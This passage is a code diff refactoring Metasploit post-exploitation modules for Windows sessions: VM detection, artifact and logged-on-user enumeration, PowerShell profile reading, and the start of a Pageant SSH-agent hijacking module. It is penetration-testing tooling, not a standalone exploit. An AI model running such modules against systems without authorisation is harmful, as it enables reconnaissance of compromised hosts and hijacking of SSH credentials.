|
||||
print_error "Could not parse sudo ouput: #{e.message}"
|
||||
print_error "Could not parse sudo output: #{e.message}"
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
@@ -60,13 +60,14 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
return true if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System', 'SystemBiosVersion') =~ /vrtual/i
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('VRTUAL')
|
||||
%w[HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('VRTUAL')
|
||||
end
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('VRTUAL')
|
||||
|
||||
return true if service_exists?('vmicexchange')
|
||||
%w[vmicexchange vmicheartbeat vmicshutdown vmicvss].each do |service|
|
||||
return true if service_exists?(service)
|
||||
end
|
||||
|
||||
key_path = 'HKLM\HARDWARE\DESCRIPTION\System'
|
||||
system_bios_version = registry_getvaldata(key_path, 'SystemBiosVersion')
|
||||
@@ -100,7 +101,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def virtualpc?
|
||||
%w[vpc-s3 vpcuhub msvmmouf].each do |service|
|
||||
%w[vpc-s3 vpcbus vpcuhub msvmmouf].each do |service|
|
||||
return true if service_exists?(service)
|
||||
end
|
||||
|
||||
@@ -128,14 +129,10 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
end
|
||||
|
||||
key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0'
|
||||
return true if registry_getvaldata(key_path, 'Identifier') =~ /vbox/i
|
||||
@@ -159,14 +156,10 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
end
|
||||
|
||||
%w[xenevtchn xennet xennet6 xensvc xenvdb].each do |service|
|
||||
return true if service_exists?(service)
|
||||
@@ -182,14 +175,10 @@ class MetasploitModule < Msf::Post
|
||||
key_path = 'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0'
|
||||
return true if registry_getvaldata(key_path, 'ProcessorNameString') =~ /qemu/i
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
@@ -10,86 +10,106 @@ class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather File and Registry Artifacts Enumeration',
|
||||
'Description' => %q{
|
||||
This module will check the file system and registry for particular artifacts. The
|
||||
list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any
|
||||
matches are written to the loot. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Gather File and Registry Artifacts Enumeration',
|
||||
'Description' => %q{
|
||||
This module will check the file system and registry for particular artifacts.
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new( 'ARTIFACTS',
|
||||
[
|
||||
true,
|
||||
'Full path to artifacts file.',
|
||||
::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt')
|
||||
])
|
||||
])
|
||||
The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt
|
||||
or a user specified file. Any matches are written to the loot.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => %w[shell powershell meterpreter],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new(
|
||||
'ARTIFACTS',
|
||||
[
|
||||
true,
|
||||
'Full path to artifacts file.',
|
||||
::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt')
|
||||
]
|
||||
)
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
# Store any found artifacts so they can be written to loot
|
||||
evidence = {}
|
||||
# Load artifacts from yaml file. Artifacts are organized by what they are evidence of.
|
||||
begin
|
||||
yaml = YAML.load_file(datastore['ARTIFACTS'])
|
||||
raise 'File is not valid YAML' unless yaml.instance_of?(Hash)
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not load artifacts YAML file '#{datastore['ARTIFACTS']}' : #{e.message}")
|
||||
end
|
||||
|
||||
loot_data = ''
|
||||
|
||||
# Load artifacts from yaml file. Artifacts are organized by what they
|
||||
# are evidence of.
|
||||
yaml = YAML::load_file(datastore['ARTIFACTS'])
|
||||
yaml.each_key do |key|
|
||||
print_status("Searching for artifacts of #{key}")
|
||||
files = yaml[key]['files']
|
||||
regs = yaml[key]['reg_entries']
|
||||
found = []
|
||||
artifacts = []
|
||||
|
||||
# Process file entries
|
||||
vprint_status("Processing #{files.length.to_s} file entries for #{key}.")
|
||||
files = yaml[key]['files']
|
||||
vprint_status("Processing #{files.length} file entries for #{key} ...")
|
||||
|
||||
files.each do |file|
|
||||
digest = file_remote_digestmd5(file['name'])
|
||||
# if the file doesn't exist then digest will be nil
|
||||
next if digest == nil
|
||||
if digest == file['csum'] then found << file['name'] end
|
||||
end
|
||||
fname = file['name']
|
||||
csum = file['csum']
|
||||
|
||||
# Process registry entries
|
||||
vprint_status("Processing #{regs.length.to_s} registry entries for #{key}.")
|
||||
|
||||
regs.each do |reg|
|
||||
rdata = registry_getvaldata(reg['key'], reg['val'])
|
||||
if rdata.to_s == reg['data']
|
||||
found << reg['key'] + '\\' + reg['val']
|
||||
digest = file_remote_digestmd5(fname)
|
||||
if digest == csum
|
||||
artifacts << fname
|
||||
end
|
||||
end
|
||||
|
||||
# Did we find anything? If so store it in the evidence hash to be
|
||||
# saved in the loot.
|
||||
if found.empty?
|
||||
# Process registry entries
|
||||
regs = yaml[key]['reg_entries']
|
||||
vprint_status("Processing #{regs.length} registry entries for #{key} ...")
|
||||
|
||||
regs.each do |reg|
|
||||
k = reg['key']
|
||||
v = reg['val']
|
||||
rdata = registry_getvaldata(k, v)
|
||||
if rdata.to_s == reg['data']
|
||||
artifacts << "#{k}\\#{v}"
|
||||
end
|
||||
end
|
||||
|
||||
# Process matches
|
||||
if artifacts.empty?
|
||||
print_status("No artifacts of #{key} found.")
|
||||
else
|
||||
print_status("Artifacts of #{key} found.")
|
||||
evidence[key] = found
|
||||
next
|
||||
end
|
||||
|
||||
print_status("Artifacts of #{key} found.")
|
||||
loot_data << "Evidence of #{key} found.\n"
|
||||
loot_data << artifacts.map { |a| "\t#{a}\n" }.join
|
||||
end
|
||||
|
||||
save(evidence, "Enumerated Artifacts")
|
||||
end
|
||||
return if loot_data.blank?
|
||||
|
||||
def save(data, name)
|
||||
str = ""
|
||||
data.each_pair do |key, val|
|
||||
str << "Evidence of #{key} found.\n"
|
||||
val.each do |v|
|
||||
str << "\t" + v + "\n"
|
||||
end
|
||||
end
|
||||
vprint_line(loot_data)
|
||||
|
||||
f = store_loot('enumerated.artifacts', 'text/plain', session, str, name)
|
||||
print_good("#{name} stored in: #{f}")
|
||||
loot_name = 'Enumerated Artifacts'
|
||||
f = store_loot(
|
||||
loot_name.downcase.split.join('.'),
|
||||
'text/plain',
|
||||
session,
|
||||
loot_data,
|
||||
loot_name
|
||||
)
|
||||
print_good("#{loot_name} stored in: #{f}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,85 +4,122 @@
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Accounts
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Logged On User Enumeration (Registry)',
|
||||
'Description' => %q{ This module will enumerate current and recently logged on Windows users},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]),
|
||||
OptBool.new('RECENT' , [ true, 'Enumerate Recently logged on users' , true])
|
||||
])
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Gather Logged On User Enumeration (Registry)',
|
||||
'Description' => %q{ This module will enumerate current and recently logged on Windows users. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => %w[powershell shell meterpreter],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_railgun_api
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]),
|
||||
OptBool.new('RECENT', [ true, 'Enumerate recently logged on users', true])
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def ls_logged
|
||||
sids = []
|
||||
sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")
|
||||
def list_recently_logged_on_users
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Recently Logged Users",
|
||||
'Indent' => 1,
|
||||
'Header' => 'Recently Logged Users',
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"SID",
|
||||
"Profile Path"
|
||||
])
|
||||
sids.flatten.map do |sid|
|
||||
profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath")
|
||||
tbl << [sid,profile_path]
|
||||
'SID',
|
||||
'Profile Path'
|
||||
]
|
||||
)
|
||||
|
||||
profiles = read_profile_list(user_accounts_only: false)
|
||||
|
||||
return if profiles.blank?
|
||||
|
||||
profiles.each do |profile|
|
||||
tbl << [
|
||||
profile['SID'],
|
||||
profile['PROF']
|
||||
]
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
store_loot("host.users.recent", "text/plain", session, tbl.to_s, "recent_users.txt", "Recent Users")
|
||||
|
||||
return if tbl.rows.empty?
|
||||
|
||||
print_line("\n#{tbl}\n")
|
||||
p = store_loot('host.users.recent', 'text/plain', session, tbl.to_s, 'recent_users.txt', 'Recent Users')
|
||||
print_good("Results saved in: #{p}")
|
||||
end
|
||||
|
||||
def list_currently_logged_on_users
|
||||
return unless session.type == 'meterpreter'
|
||||
|
||||
def ls_current
|
||||
key_base, username = "",""
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Current Logged Users",
|
||||
'Indent' => 1,
|
||||
'Header' => 'Current Logged Users',
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"SID",
|
||||
"User"
|
||||
])
|
||||
registry_enumkeys("HKU").each do |maybe_sid|
|
||||
# There is junk like .DEFAULT we want to avoid
|
||||
if maybe_sid =~ /^S(?:-\d+){2,}$/
|
||||
info = resolve_sid(maybe_sid)
|
||||
'SID',
|
||||
'User'
|
||||
]
|
||||
)
|
||||
keys = registry_enumkeys('HKU')
|
||||
|
||||
if !info.nil? && info[:type] == :user
|
||||
username = info[:domain] << '\\' << info[:name]
|
||||
return unless keys
|
||||
|
||||
tbl << [maybe_sid,username]
|
||||
end
|
||||
end
|
||||
keys.each do |maybe_sid|
|
||||
next unless maybe_sid.starts_with?('S-1-5-21-')
|
||||
next if maybe_sid.ends_with?('_Classes')
|
||||
|
||||
info = resolve_sid(maybe_sid)
|
||||
|
||||
next if info.nil?
|
||||
|
||||
name = info[:name]
|
||||
domain = info[:domain]
|
||||
|
||||
next if domain.blank? || name.blank?
|
||||
|
||||
tbl << [maybe_sid, "#{domain}\\#{name}"]
|
||||
end
|
||||
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
p = store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users")
|
||||
return if tbl.rows.empty?
|
||||
|
||||
print_line("\n#{tbl}\n")
|
||||
p = store_loot('host.users.active', 'text/plain', session, tbl.to_s, 'active_users.txt', 'Active Users')
|
||||
print_good("Results saved in: #{p}")
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Running against session #{datastore['SESSION']}")
|
||||
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
|
||||
print_status("Running module against #{hostname} (#{session.session_host})")
|
||||
|
||||
if datastore['CURRENT']
|
||||
ls_current
|
||||
if session.type == 'meterpreter'
|
||||
list_currently_logged_on_users
|
||||
else
|
||||
print_error("Incompatible session type '#{session.type}'. Can not retrieve list of currently logged in users.")
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['RECENT']
|
||||
ls_logged
|
||||
list_recently_logged_on_users
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,19 +4,29 @@
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Gather Powershell Environment Setting Enumeration',
|
||||
'Description' => %q{ This module will enumerate Microsoft Powershell settings },
|
||||
'Name' => 'Windows Gather PowerShell Environment Setting Enumeration',
|
||||
'Description' => %q{ This module will enumerate Microsoft PowerShell settings. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'References' => [
|
||||
['URL', 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies'],
|
||||
['URL', 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles'],
|
||||
],
|
||||
'SessionTypes' => %w[meterpreter shell powershell],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
@@ -33,114 +43,163 @@ class MetasploitModule < Msf::Post
|
||||
)
|
||||
end
|
||||
|
||||
#-----------------------------------------------------------------------
|
||||
def enum_users
|
||||
os = sysinfo['OS']
|
||||
users = []
|
||||
user = session.sys.config.getuid
|
||||
path4users = ""
|
||||
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
|
||||
sysdrv = env_vars['SystemDrive']
|
||||
|
||||
if os =~ /XP|2003/
|
||||
path4users = sysdrv + "\\Documents and Settings\\"
|
||||
profilepath = "\\My Documents\\WindowsPowerShell\\"
|
||||
system_drive = get_env('SystemDrive').to_s.strip
|
||||
|
||||
path4users = ''
|
||||
if directory?("#{system_drive}\\Users")
|
||||
path4users = "#{system_drive}\\Users\\"
|
||||
profilepath = '\\Documents\\WindowsPowerShell\\'
|
||||
elsif directory?("#{system_drive}\\Documents and Settings")
|
||||
path4users = "#{system_drive}\\Documents and Settings\\"
|
||||
profilepath = '\\My Documents\\WindowsPowerShell\\'
|
||||
else
|
||||
path4users = sysdrv + "\\Users\\"
|
||||
profilepath = "\\Documents\\WindowsPowerShell\\"
|
||||
print_error('Could not find user profile directories')
|
||||
return []
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_status("Running as SYSTEM extracting user list..")
|
||||
session.fs.dir.foreach(path4users) do |u|
|
||||
userinfo = {}
|
||||
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
if is_system? || is_admin?
|
||||
print_status('Running with elevated privileges. Extracting user list ...')
|
||||
paths = begin
|
||||
dir(path4users)
|
||||
rescue StandardError
|
||||
[]
|
||||
end
|
||||
|
||||
userinfo['username'] = u
|
||||
userinfo['userappdata'] = path4users + u + profilepath
|
||||
users << userinfo
|
||||
ignored = [
|
||||
'.',
|
||||
'..',
|
||||
'All Users',
|
||||
'Default',
|
||||
'Default User',
|
||||
'Public',
|
||||
'desktop.ini',
|
||||
'LocalService',
|
||||
'NetworkService'
|
||||
]
|
||||
paths.reject { |p| ignored.include?(p) }.each do |u|
|
||||
users << {
|
||||
'username' => u,
|
||||
'userappdata' => path4users + u + profilepath
|
||||
}
|
||||
end
|
||||
else
|
||||
userinfo = {}
|
||||
uservar = env_vars['USERNAME']
|
||||
userinfo['username'] = uservar
|
||||
userinfo['userappdata'] = path4users + uservar + profilepath
|
||||
users << userinfo
|
||||
u = get_env('USERNAME')
|
||||
users << {
|
||||
'username' => u,
|
||||
'userappdata' => path4users + u + profilepath
|
||||
}
|
||||
end
|
||||
return users
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
def enum_powershell_modules
|
||||
powershell_module_path = get_env('PSModulePath')
|
||||
return [] unless powershell_module_path
|
||||
|
||||
paths = powershell_module_path.split(';')
|
||||
print_status('PowerShell Modules paths:')
|
||||
modules = []
|
||||
paths.each do |p|
|
||||
print_status("\t#{p}")
|
||||
|
||||
path_contents = begin
|
||||
dir(p)
|
||||
rescue StandardError
|
||||
[]
|
||||
end
|
||||
path_contents.reject { |m| ['.', '..'].include?(m) }.each do |m|
|
||||
modules << m
|
||||
end
|
||||
end
|
||||
|
||||
modules
|
||||
end
|
||||
|
||||
#-----------------------------------------------------------------------
|
||||
def enum_powershell
|
||||
# Check if PowerShell is Installed
|
||||
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
||||
print_status("Powershell is Installed on this system.")
|
||||
powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine", "PowerShellVersion")
|
||||
print_status("Version: #{powershell_version}")
|
||||
# Get PowerShell Execution Policy
|
||||
begin
|
||||
powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", "ExecutionPolicy")
|
||||
rescue
|
||||
powershell_policy = "Restricted"
|
||||
end
|
||||
print_status("Execution Policy: #{powershell_policy}")
|
||||
powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", "Path")
|
||||
print_status("Path: #{powershell_path}")
|
||||
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
|
||||
print_status("Powershell Snap-Ins:")
|
||||
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
|
||||
print_status("\tSnap-In: #{si}")
|
||||
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
|
||||
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}", v)}")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_status("No PowerShell Snap-Ins are installed")
|
||||
unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
|
||||
print_error('PowerShell is not installed on this system.')
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
if powershell_version =~ /2./
|
||||
print_status("Powershell Modules:")
|
||||
powershell_module_path = session.sys.config.getenv('PSModulePath')
|
||||
session.fs.dir.foreach(powershell_module_path) do |m|
|
||||
next if m =~ /^(\.|\.\.)$/
|
||||
print_status('PowerShell is installed on this system.')
|
||||
|
||||
print_status("\t#{m}")
|
||||
powershell_version = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine', 'PowerShellVersion')
|
||||
print_status("Version: #{powershell_version}")
|
||||
|
||||
powershell_policy = begin
|
||||
registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell', 'ExecutionPolicy')
|
||||
rescue StandardError
|
||||
'Restricted'
|
||||
end
|
||||
print_status("Execution Policy: #{powershell_policy}")
|
||||
|
||||
powershell_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell', 'Path')
|
||||
print_status("Path: #{powershell_path}")
|
||||
|
||||
if registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1').include?('PowerShellSnapIns')
|
||||
print_status('PowerShell Snap-Ins:')
|
||||
registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns').each do |si|
|
||||
print_status("\tSnap-In: #{si}")
|
||||
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
|
||||
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}", v)}")
|
||||
end
|
||||
end
|
||||
tmpout = []
|
||||
print_status("Checking if users have Powershell profiles")
|
||||
enum_users.each do |u|
|
||||
print_status("Checking #{u['username']}")
|
||||
begin
|
||||
session.fs.dir.foreach(u["userappdata"]) do |p|
|
||||
next if p =~ /^(\.|\.\.)$/
|
||||
else
|
||||
print_status('No PowerShell Snap-Ins are installed')
|
||||
end
|
||||
|
||||
if p =~ /Microsoft.PowerShell_profile.ps1/
|
||||
ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
|
||||
until ps_profile.eof?
|
||||
tmpout << ps_profile.read
|
||||
end
|
||||
ps_profile.close
|
||||
if tmpout.length == 1
|
||||
print_status("Profile for #{u["username"]} not empty, it contains:")
|
||||
tmpout.each do |l|
|
||||
print_status("\t#{l.strip}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
end
|
||||
modules = enum_powershell_modules
|
||||
if modules && !modules.empty?
|
||||
print_status('PowerShell Modules:')
|
||||
modules.each do |m|
|
||||
print_status("\t#{m}")
|
||||
end
|
||||
else
|
||||
print_status('No PowerShell Modules are installed')
|
||||
end
|
||||
|
||||
profile_file_names = [
|
||||
'profile.ps1',
|
||||
'Microsoft.PowerShell_profile.ps1',
|
||||
'Microsoft.VSCode_profile.ps1',
|
||||
]
|
||||
|
||||
print_status('Checking if users have PowerShell profiles')
|
||||
enum_users.each do |u|
|
||||
print_status("Checking #{u['username']}")
|
||||
|
||||
app_data_contents = begin
|
||||
dir(u['userappdata'])
|
||||
rescue StandardError
|
||||
[]
|
||||
end
|
||||
app_data_contents.map!(&:downcase)
|
||||
|
||||
profile_file_names.each do |profile_file|
|
||||
next unless app_data_contents.include?(profile_file.downcase)
|
||||
|
||||
fname = "#{u['userappdata']}#{profile_file}"
|
||||
|
||||
ps_profile = begin
|
||||
read_file(fname)
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
next unless ps_profile
|
||||
|
||||
print_status("Found PowerShell profile '#{fname}' for #{u['username']}:")
|
||||
print_line(ps_profile.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#-----------------------------------------------------------------------
|
||||
# Run Method
|
||||
def run
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
|
||||
print_status("Running module against #{hostname} (#{session.session_host})")
|
||||
enum_powershell
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
def run
|
||||
host = session.session_host
|
||||
screenshot = Msf::Config.get_config_root + '/logs/' + host + '.jpg'
|
||||
screenshot = Msf::Config.config_directory + '/logs/' + host + '.jpg'
|
||||
|
||||
# If no PID is specified, don't migrate.
|
||||
if datastore['PID'] != ''
|
||||
|
||||
@@ -31,6 +31,11 @@ class MetasploitModule < Msf::Post
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
@@ -40,23 +45,22 @@ class MetasploitModule < Msf::Post
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
|
||||
]
|
||||
)
|
||||
register_options([
|
||||
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
|
||||
])
|
||||
end
|
||||
|
||||
def sockpath
|
||||
@sockpath ||= "#{Dir.tmpdir}/#{Rex::Text.rand_text_alphanumeric(8)}"
|
||||
end
|
||||
|
||||
def setup
|
||||
unless session.extapi
|
||||
vprint_status("Loading extapi extension...")
|
||||
begin
|
||||
session.core.use("extapi")
|
||||
rescue Errno::ENOENT
|
||||
print_error("This module is only available in a windows meterpreter session.")
|
||||
return
|
||||
end
|
||||
end
|
||||
return if session.extapi
|
||||
|
||||
vprint_status('Loading extapi extension...')
|
||||
session.core.use('extapi')
|
||||
rescue Errno::ENOENT
|
||||
fail_with(Failure::BadConfig, 'This module is only available in a Windows meterpreter session.')
|
||||
end
|
||||
|
||||
def run
|
||||
@@ -64,79 +68,89 @@ class MetasploitModule < Msf::Post
|
||||
begin
|
||||
::UNIXServer
|
||||
rescue NameError
|
||||
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
|
||||
return false
|
||||
fail_with(Failure::BadConfig, 'This module is only supported on a Metasploit installation that supports UNIX sockets.')
|
||||
end
|
||||
|
||||
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
|
||||
if datastore['SocketPath']
|
||||
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
|
||||
if ::File.exist?(datastore['SocketPath'].to_s)
|
||||
fail_with(Failure::BadConfig, "Socket (#{datastore['SocketPath']}) already exists. Remove it or choose another path and try again.")
|
||||
end
|
||||
@sockpath = datastore['SocketPath'].to_s
|
||||
else
|
||||
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
|
||||
end
|
||||
|
||||
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
|
||||
if ::File.exist?(@sockpath)
|
||||
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
|
||||
return false
|
||||
end
|
||||
|
||||
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
|
||||
::UNIXServer.open(@sockpath) do |serv|
|
||||
